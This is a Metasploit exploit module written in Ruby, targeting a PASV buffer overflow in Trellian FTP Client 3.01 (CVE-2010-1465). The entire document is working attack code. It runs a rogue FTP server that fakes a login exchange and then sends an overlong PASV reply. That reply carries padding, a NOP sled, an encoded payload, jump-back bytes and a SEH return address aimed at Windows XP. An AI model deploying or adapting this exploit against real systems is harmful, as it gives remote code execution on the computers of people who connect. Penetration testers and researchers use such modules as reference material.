Trellian FTP Client 3.01 – PASV Remote Buffer Overflow (Metasploit)
## # $Id: trellian_client_pasv.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered through an excessively long PASV message. }, 'Author' => [ 'zombiefx', # Original exploit author 'dookie' # MSF module author ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2010-1465'], [ 'OSVDB', '63812'], [ 'URL', 'http://www.exploit-db.com/exploits/12152' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 900, 'BadChars' => "\x00\x29\x2c\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd p/p/r in ftp.exe ], 'Privileged' => false, 'DisclosureDate' => 'Apr 11 2010', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]), ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) # Let the client log in client.get_once user = "331 Please specify the password.\r\n" client.put(user) client.get_once pass = "230 Login successful.\r\n" client.put(pass) # Handle the clients PWD command client.get_once pwd = "257 \"/\" is current directory.\r\n" client.put(pwd) client.get_once sploit = "227 Entering Passive Mode (" sploit << rand_text_alpha_upper(2171) sploit << make_nops(100) sploit << payload.encoded sploit << make_nops(900 - (payload.encoded.length)) sploit << "\xe9\x18\xfc\xff\xff" # Jump back 1000 bytes sploit << "\xeb\xf9\x90\x90" # Jump back 7 bytes sploit << [target.ret].pack("A3") sploit << ")\r\n" client.put(sploit) end end |